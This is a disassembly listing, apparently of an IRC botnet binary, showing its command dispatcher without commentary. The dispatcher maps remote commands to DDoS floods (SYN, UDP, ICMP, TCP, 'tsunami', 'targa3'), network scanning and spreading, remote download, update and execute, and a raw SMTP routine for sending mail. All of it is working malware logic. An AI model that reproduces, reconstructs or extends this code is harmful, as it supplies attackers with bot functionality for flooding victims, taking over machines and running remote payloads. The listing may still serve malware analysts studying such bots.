jmp loc_406A33
; ---------------------------------------------------------------------------
loc_406AF2: ; CODE XREF: sub_40274D+4399j
push [ebp+4Ch+var_8]
push offset aShare ; "share"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406B6C
cmp edi, ebx
jz short loc_406B3C
cmp [ebp+4Ch+var_904], bl
jz short loc_406B17
push ebx
push edi
push 1
jmp short loc_406B1D
; ---------------------------------------------------------------------------
loc_406B17: ; CODE XREF: sub_40274D+43C2j
push [ebp+esi+4Ch+var_98]
push edi
push ebx
loc_406B1D: ; CODE XREF: sub_40274D+43C8j
call sub_41BFBE
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aS ; "%s"
push eax
call sub_41E6A6
add esp, 18h
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_406B3C: ; CODE XREF: sub_40274D+43BAj
push ebx
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_41C07C
add esp, 10h
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jz short loc_406B62
push offset unk_42E08C
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_406B62: ; CODE XREF: sub_40274D+4409j
push offset unk_42E06C
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_406B6C: ; CODE XREF: sub_40274D+43B6j
push [ebp+4Ch+var_8]
push offset aUser_0 ; "user"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406BF4
cmp edi, ebx
jz short loc_406BCA
cmp [ebp+4Ch+var_904], bl
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
jz short loc_406B9A
push ebx
push edi
push 1
jmp short loc_406BAB
; ---------------------------------------------------------------------------
loc_406B9A: ; CODE XREF: sub_40274D+4445j
mov esi, [ebp+esi+4Ch+var_98]
cmp esi, ebx
jz short loc_406BA7
push esi
push edi
push ebx
jmp short loc_406BAB
; ---------------------------------------------------------------------------
loc_406BA7: ; CODE XREF: sub_40274D+4453j
push ebx
push edi
push 2
loc_406BAB: ; CODE XREF: sub_40274D+444Bj
; sub_40274D+4458j
call sub_41C19B
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aS ; "%s"
push eax
call sub_41E6A6
add esp, 24h
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_406BCA: ; CODE XREF: sub_40274D+4434j
push ebx
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_41C265
add esp, 10h
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jz short loc_406BED
push offset unk_42E04C
jmp short loc_406C45
; ---------------------------------------------------------------------------
loc_406BED: ; CODE XREF: sub_40274D+4497j
push offset unk_42E02C
jmp short loc_406C45
; ---------------------------------------------------------------------------
loc_406BF4: ; CODE XREF: sub_40274D+4430j
push [ebp+4Ch+var_8]
push offset aSend ; "send"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406C3A
cmp edi, ebx
jz short loc_406C33
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
push [ebp+4Ch+arg_0]
call sub_41BE8A
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aS ; "%s"
push eax
call sub_41E6A6
add esp, 1Ch
jmp short loc_406C4D
; ---------------------------------------------------------------------------
loc_406C33: ; CODE XREF: sub_40274D+44BCj
push offset unk_42E008
jmp short loc_406C3F
; ---------------------------------------------------------------------------
loc_406C3A: ; CODE XREF: sub_40274D+44B8j
push offset unk_42DFEC
loc_406C3F: ; CODE XREF: sub_40274D+2C4Dj
; sub_40274D+42A3j ...
lea eax, [ebp+4Ch+var_2D0]
loc_406C45: ; CODE XREF: sub_40274D+4325j
; sub_40274D+432Fj ...
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_406C4D: ; CODE XREF: sub_40274D+42ABj
; sub_40274D+4300j ...
cmp [ebp+4Ch+var_C], ebx
jnz short loc_406C6B
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_406C6B: ; CODE XREF: sub_40274D+27A3j
; sub_40274D+27D7j ...
mov esi, [ebp+4Ch+arg_24]
loc_406C6E: ; CODE XREF: sub_40274D+65C6j
; sub_40274D+7503j ...
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
pop ecx
mov eax, esi
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_406C82: ; CODE XREF: sub_40274D+4288j
push edi
push offset aCapture ; "capture"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40968E
push edi
push offset aCap ; "cap"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40968E
push edi
push offset aGethost ; "gethost"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4095B9
push edi
push offset aGh ; "gh"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4095B9
loc_406CD6: ; CODE XREF: sub_40274D+39D7j
; sub_40274D+3A06j ...
mov edi, [ebp+esi+4Ch+var_9C]
cmp edi, ebx
mov [ebp+4Ch+var_20], edi
jz loc_402B92
push [ebp+4Ch+var_10]
push offset aKilllog ; "killlog"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40959F
push [ebp+4Ch+var_10]
push offset aKl ; "kl"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40959F
push [ebp+4Ch+var_10]
push offset aAddalias ; "addalias"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40955E
push [ebp+4Ch+var_10]
push offset aAa ; "aa"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40955E
push [ebp+4Ch+var_10]
push offset aPrivmsg_0 ; "privmsg"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409504
push [ebp+4Ch+var_10]
push offset aPm ; "pm"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409504
push [ebp+4Ch+var_10]
push offset aAction ; "action"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409492
push [ebp+4Ch+var_10]
push offset aA ; "a"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409492
push [ebp+4Ch+var_10]
push offset aCycle ; "cycle"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409434
push [ebp+4Ch+var_10]
push offset aCy ; "cy"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409434
push [ebp+4Ch+var_10]
push offset aMode ; "mode"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4093FB
push [ebp+4Ch+var_10]
push offset aM_0 ; "m"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4093FB
push [ebp+4Ch+var_10]
push offset aC_raw ; "c_raw"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40938F
push [ebp+4Ch+var_10]
push offset aC_r ; "c_r"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40938F
push [ebp+4Ch+var_10]
push offset aC_mode ; "c_mode"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40930C
push [ebp+4Ch+var_10]
push offset aC_m ; "c_m"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40930C
push [ebp+4Ch+var_10]
push offset aC_nick ; "c_nick"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4092A4
push [ebp+4Ch+var_10]
push offset aC_n ; "c_n"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4092A4
push [ebp+4Ch+var_10]
push offset aC_join ; "c_join"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409281
push [ebp+4Ch+var_10]
push offset aC_j ; "c_j"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409281
push [ebp+4Ch+var_10]
push offset aC_part ; "c_part"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409243
push [ebp+4Ch+var_10]
push offset aC_p ; "c_p"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409243
push [ebp+4Ch+var_10]
push offset aTarga3 ; "targa3"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409151
push [ebp+4Ch+var_10]
push offset aT3 ; "t3"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409151
push [ebp+4Ch+var_10]
push offset aTsunami ; "tsunami"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409083
push [ebp+4Ch+var_10]
push offset aTsn ; "tsn"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409083
push [ebp+4Ch+var_10]
push offset aRepeat ; "repeat"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408FCA
push [ebp+4Ch+var_10]
push offset aRp ; "rp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408FCA
push [ebp+4Ch+var_10]
push offset aDelay ; "delay"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408F39
push [ebp+4Ch+var_10]
push offset aDe ; "de"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408F39
push [ebp+4Ch+var_10]
push offset aUpdate ; "update"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408DC3
push [ebp+4Ch+var_10]
push offset aUp ; "up"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408DC3
push [ebp+4Ch+var_10]
push offset aExecute ; "execute"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408D2A
push [ebp+4Ch+var_10]
push offset aE ; "e"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408D2A
push [ebp+4Ch+var_10]
push offset aFindfile ; "findfile"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408C21
push [ebp+4Ch+var_10]
push offset aFf ; "ff"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408C21
push [ebp+4Ch+var_10]
push offset aRename ; "rename"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408BCD
push [ebp+4Ch+var_10]
push offset aMv ; "mv"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408BCD
push [ebp+4Ch+var_10]
push offset aIcmpflood ; "icmpflood"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_408AD6
push [ebp+4Ch+var_10]
push offset aIcmp ; "icmp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
loc_407077: ; DATA XREF: seg002:0043F244o
; seg002:0043F258o ...
jz loc_408AD6
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
mov [ebp+4Ch+arg_0], eax
jz loc_402B92
push [ebp+4Ch+var_10]
push offset aClone_0 ; "clone"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4089EF
push [ebp+4Ch+var_10]
push offset aC ; "c"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4089EF
push [ebp+4Ch+var_10]
push offset aDdos_syn ; "ddos.syn"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4088D6
push [ebp+4Ch+var_10]
push offset aDdos_ack ; "ddos.ack"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4088D6
push [ebp+4Ch+var_10]
push offset aDdos_random ; "ddos.random"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4088D6
push [ebp+4Ch+var_10]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_4071DF
push 7Fh
pop esi
push esi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_3070]
push eax
call sub_41E860
push esi
lea eax, [ebp+4Ch+var_2FF0]
push edi
push eax
call sub_41E860
push esi
push [ebp+4Ch+arg_0]
lea eax, [ebp+4Ch+var_2F70]
push eax
call sub_41E860
push esi
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2EF0]
push eax
call sub_41E860
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push ebx
mov [ebp+4Ch+var_2E68], eax
lea eax, [ebp+4Ch+var_2D0]
push 13h
push eax
mov [ebp+4Ch+var_2E6C], edi
mov [ebp+4Ch+var_3074], esi
call sub_40AE85
add esp, 3Ch
mov [ebp+4Ch+var_2E70], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3074]
push eax
push offset loc_4175F3
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2E70]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4071D2
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42DE68
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4071CA: ; CODE XREF: sub_40274D+4A8Bj
push 32h
call ds:dword_42B014 ; Sleep
loc_4071D2: ; CODE XREF: sub_40274D+4A6Aj
cmp [ebp+4Ch+var_2E64], ebx
jz short loc_4071CA
jmp loc_404929
; ---------------------------------------------------------------------------
loc_4071DF: ; CODE XREF: sub_40274D+49C3j
push [ebp+4Ch+var_10]
push offset aSynflood ; "synflood"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4087F2
push [ebp+4Ch+var_10]
push offset aSyn ; "syn"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4087F2
push [ebp+4Ch+var_10]
push offset aSkysyn ; "skysyn"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_407308
push 7Fh
pop esi
push esi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_3498]
push eax
call sub_41E860
push esi
lea eax, [ebp+4Ch+var_3418]
push edi
push eax
call sub_41E860
push esi
push [ebp+4Ch+arg_0]
lea eax, [ebp+4Ch+var_3398]
push eax
call sub_41E860
push esi
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_3318]
push eax
call sub_41E860
push [ebp+4Ch+arg_0]
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_3294], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_3290], eax
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42DE20
push eax
mov [ebp+4Ch+var_349C], esi
call sub_41E6A6
add esp, 44h
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 10h
push eax
call sub_40AE85
add esp, 0Ch
mov [ebp+4Ch+var_3298], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_349C]
push eax
push offset loc_41640E
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_3298]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4072FB
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42DDE4
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_4072F3: ; CODE XREF: sub_40274D+4BB4j
push 32h
call ds:dword_42B014 ; Sleep
loc_4072FB: ; CODE XREF: sub_40274D+4B93j
cmp [ebp+4Ch+var_328C], ebx
jz short loc_4072F3
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_407308: ; CODE XREF: sub_40274D+4AD1j
push [ebp+4Ch+var_10]
push offset aPhatwonk ; "phatwonk"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40870E
push [ebp+4Ch+var_10]
push offset aWonk ; "wonk"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40870E
push [ebp+4Ch+var_10]
push offset aDownload ; "download"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4085D7
push [ebp+4Ch+var_10]
push offset aDl ; "dl"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4085D7
push [ebp+4Ch+var_10]
push offset aRedirect ; "redirect"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4084E1
push [ebp+4Ch+var_10]
push offset aRd ; "rd"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4084E1
push [ebp+4Ch+var_10]
push offset aScan_0 ; "scan"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4083F2
push [ebp+4Ch+var_10]
push offset aSc ; "sc"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4083F2
push [ebp+4Ch+var_10]
push offset aC_privmsg ; "c_privmsg"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4082F0
push [ebp+4Ch+var_10]
push offset aC_pm ; "c_pm"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4082F0
push [ebp+4Ch+var_10]
push offset aC_action ; "c_action"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4081FB
push [ebp+4Ch+var_10]
push offset aC_a ; "c_a"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4081FB
mov eax, [ebp+esi+4Ch+var_94]
cmp eax, ebx
mov [ebp+4Ch+var_14], eax
jz loc_402B92
push [ebp+4Ch+var_10]
push offset aPortscan ; "portscan"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4080F9
push [ebp+4Ch+var_10]
push offset aPsc ; "psc"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4080F9
push [ebp+4Ch+var_10]
push offset aAdvscan ; "advscan"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_407C2E
push [ebp+4Ch+var_10]
push offset aAsc ; "asc"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_407C2E
push [ebp+4Ch+var_10]
push offset aUdpflood ; "udpflood"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_407B12
push [ebp+4Ch+var_10]
push offset aUdp ; "udp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_407B12
push [ebp+4Ch+var_10]
push offset aU ; "u"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_407B12
push [ebp+4Ch+var_10]
push offset aNetsend ; "netsend"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4079FF
push [ebp+4Ch+var_10]
push offset aNs ; "ns"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4079FF
push [ebp+4Ch+var_10]
push offset aPingflood ; "pingflood"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4078DC
push [ebp+4Ch+var_10]
push offset aPing_0 ; "ping"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4078DC
push [ebp+4Ch+var_10]
push offset aP ; "p"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4078DC
push [ebp+4Ch+var_10]
push offset aTcpflood ; "tcpflood"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40773D
push [ebp+4Ch+var_10]
push offset aTcp ; "tcp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40773D
push [ebp+4Ch+var_10]
push offset aEmail ; "email"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_4076E8
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_47F4]
push eax
call sub_41EEC0
push edi
call sub_41E7AD
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_20], eax
lea eax, [ebp+4Ch+var_4090]
push eax
call sub_41EEC0
push [ebp+4Ch+var_14]
lea eax, [ebp+4Ch+var_4390]
push eax
call sub_41EEC0
push offset asc_42FCE0 ; " "
push offset a_ ; "_"
push [ebp+esi+4Ch+var_90]
call sub_41AB7D
push eax
lea eax, [ebp+4Ch+var_4290]
push eax
call sub_41EEC0
add esp, 30h
lea eax, [ebp+4Ch+var_5590]
push eax
push 101h
call ds:dword_444110 ; WSAStartup
lea eax, [ebp+4Ch+var_47F4]
push eax
call ds:dword_444168 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call ds:dword_444100 ; socket
push [ebp+4Ch+var_20]
mov esi, eax
mov [ebp+4Ch+var_324], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+4Ch+var_320], eax
call ds:dword_444260 ; htons
mov [ebp+4Ch+var_322], ax
lea eax, [ebp+4Ch+var_4290]
push eax
lea eax, [ebp+4Ch+var_4090]
push eax
lea eax, [ebp+4Ch+var_4290]
push eax
lea eax, [ebp+4Ch+var_4390]
push eax
lea eax, [ebp+4Ch+var_4090]
push eax
lea eax, [ebp+4Ch+var_5990]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41E6A6
add esp, 1Ch
push 10h
lea eax, [ebp+4Ch+var_324]
push eax
push esi
call ds:dword_4440AC ; connect
push ebx
mov edi, 100h
push edi
lea eax, [ebp+4Ch+var_4190]
push eax
push esi
call ds:dword_444064 ; recv
lea eax, [ebp+4Ch+var_4190]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+4Ch+var_5990]
push eax
push esi
call ds:dword_4441A0 ; send
push ebx
push edi
lea eax, [ebp+4Ch+var_4190]
push eax
push esi
call ds:dword_444064 ; recv
push esi
call ds:dword_444218 ; closesocket
call ds:dword_444224 ; WSACleanup
lea eax, [ebp+4Ch+var_4390]
push eax
push offset unk_42DCA4
loc_4076D4: ; CODE XREF: sub_40274D+2C5Cj
; sub_40274D+636Fj ...
lea eax, [ebp+4Ch+var_2D0]
loc_4076DA: ; CODE XREF: sub_40274D+6671j
push eax
call sub_41E6A6
loc_4076E0: ; CODE XREF: sub_40274D+226Dj
add esp, 0Ch
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_4076E8: ; CODE XREF: sub_40274D+4E31j
push [ebp+4Ch+var_10]
push offset aHttpcon ; "httpcon"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_407712
push [ebp+4Ch+var_10]
push offset aHcon ; "hcon"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_407C7B
loc_407712: ; CODE XREF: sub_40274D+4FACj
push [ebp+esi+4Ch+var_90]
push [ebp+4Ch+var_14]
push [ebp+4Ch+arg_0]
push edi
call sub_41E7AD
pop ecx
push eax
push [ebp+4Ch+var_8]
push [ebp+4Ch+var_C]
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_4128A1
jmp loc_40A0AE
; ---------------------------------------------------------------------------
loc_40773D: ; CODE XREF: sub_40274D+4E03j
; sub_40274D+4E1Aj
push [ebp+4Ch+var_8]
mov esi, 80h
lea eax, [ebp+4Ch+var_135C]
push esi
push eax
call sub_41E6FE
lea eax, [ebp+4Ch+var_135C]
push eax
push offset aSyn ; "syn"
call sub_41E990
add esp, 14h
test eax, eax
jz short loc_4077A2
lea eax, [ebp+4Ch+var_135C]
push eax
push offset aAck ; "ack"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_4077A2
lea eax, [ebp+4Ch+var_135C]
push eax
push offset aRandom_0 ; "random"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_4077A2
push offset unk_42DC5C
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_4077A2: ; CODE XREF: sub_40274D+501Bj
; sub_40274D+5032j ...
push [ebp+4Ch+var_14]
call sub_41E7AD
cmp eax, ebx
pop ecx
mov [ebp+4Ch+var_1254], eax
jle loc_4078C4
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_135C]
push esi
push eax
call sub_41E6FE
push edi
lea eax, [ebp+4Ch+var_13DC]
push esi
push eax
call sub_41E6FE
push [ebp+4Ch+arg_0]
call sub_41E7AD
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_1258], eax
xor eax, eax
cmp [ebp+4Ch+var_8F6], bl
push esi
setnz al
mov [ebp+4Ch+var_1250], eax
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_13E0], eax
lea eax, [ebp+4Ch+var_12DC]
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_124C], eax
mov eax, [ebp+4Ch+var_C]
add esp, 28h
cmp [ebp+4Ch+var_1250], ebx
mov [ebp+4Ch+var_1248], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_407836
mov eax, offset aNormal ; "Normal"
loc_407836: ; CODE XREF: sub_40274D+50E2j
push [ebp+4Ch+var_14]
push [ebp+4Ch+arg_0]
push edi
push [ebp+4Ch+var_8]
push eax
push offset unk_42DC18
lea eax, [ebp+4Ch+var_2D0]
push 200h
push eax
call sub_41E6FE
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 14h
push eax
call sub_40AE85
add esp, 2Ch
mov [ebp+4Ch+var_125C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_13E0]
push eax
push offset loc_416B1E
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_125C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4078B7
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42DBE0
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4078AF: ; CODE XREF: sub_40274D+5170j
push 32h
call ds:dword_42B014 ; Sleep
loc_4078B7: ; CODE XREF: sub_40274D+514Fj
cmp [ebp+4Ch+var_1244], ebx
jz short loc_4078AF
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4078C4: ; CODE XREF: sub_40274D+5066j
push offset unk_42DBA8
loc_4078C9: ; CODE XREF: sub_40274D+1E23j
; sub_40274D+1E39j ...
lea eax, [ebp+4Ch+var_2D0]
loc_4078CF: ; CODE XREF: sub_40274D+4042j
push eax
call sub_41E6A6
pop ecx
pop ecx
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4078DC: ; CODE XREF: sub_40274D+4DBEj
; sub_40274D+4DD5j ...
cmp ds:dword_444294, ebx
jnz loc_4079E4
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_FFC], eax
mov eax, [ebp+4Ch+var_4]
push 7Fh
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_1000], eax
lea eax, [ebp+4Ch+var_1094]
push eax
call sub_41E860
push edi
call sub_41E7AD
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_1014], eax
call sub_41E7AD
push [ebp+4Ch+var_14]
mov [ebp+4Ch+var_1010], eax
call sub_41E7AD
push 7Fh
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_100C], eax
lea eax, [ebp+4Ch+var_1114]
push eax
call sub_41E860
push [ebp+4Ch+var_100C]
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_1010]
mov [ebp+4Ch+var_1118], eax
lea eax, [ebp+4Ch+var_1094]
push eax
push [ebp+4Ch+var_1014]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42DB60
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 16h
push eax
call sub_40AE85
add esp, 48h
mov [ebp+4Ch+var_1004], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1118]
push eax
push offset word_415F82
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1004]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4079D7
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42DB24
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4079CF: ; CODE XREF: sub_40274D+5290j
push 32h
call ds:dword_42B014 ; Sleep
loc_4079D7: ; CODE XREF: sub_40274D+526Fj
cmp [ebp+4Ch+var_FF8], ebx
jz short loc_4079CF
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4079E4: ; CODE XREF: sub_40274D+5195j
push 1FFh
lea eax, [ebp+4Ch+var_2D0]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41E860
jmp loc_40698A
; ---------------------------------------------------------------------------
loc_4079FF: ; CODE XREF: sub_40274D+4D90j
; sub_40274D+4DA7j
push edi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push [ebp+4Ch+arg_0]
push offset unk_42DAD0
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
push [ebp+4Ch+arg_0]
call sub_41E1C0
push edi
mov [ebp+4Ch+var_24], eax
call sub_41E1C0
mov ecx, [ebp+4Ch+var_24]
push [ebp+4Ch+var_8]
add ecx, eax
mov [ebp+4Ch+var_24], ecx
call sub_41E1C0
mov ecx, [ebp+4Ch+var_24]
push [ebp+4Ch+var_10]
add ecx, eax
mov [ebp+4Ch+var_24], ecx
call sub_41E1C0
add eax, [ebp+4Ch+var_18]
mov ecx, [ebp+4Ch+var_24]
push [ebp+4Ch+var_14]
lea eax, [eax+ecx+7]
push eax
call sub_41F090
add esp, 40h
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_18], eax
call sub_41E7AD
cmp eax, ebx
mov edi, [ebp+4Ch+var_20]
pop ecx
mov [ebp+4Ch+var_B8], eax
mov [ebp+4Ch+var_24], ebx
jle short loc_407AED
loc_407A8D: ; CODE XREF: sub_40274D+5364j
push [ebp+4Ch+var_18]
push edi
push [ebp+4Ch+var_8]
call sub_41B24B
add esp, 0Ch
cmp eax, 1
mov [ebp+4Ch+var_20], eax
jz short loc_407AB5
cmp eax, ebx
jnz short loc_407AC0
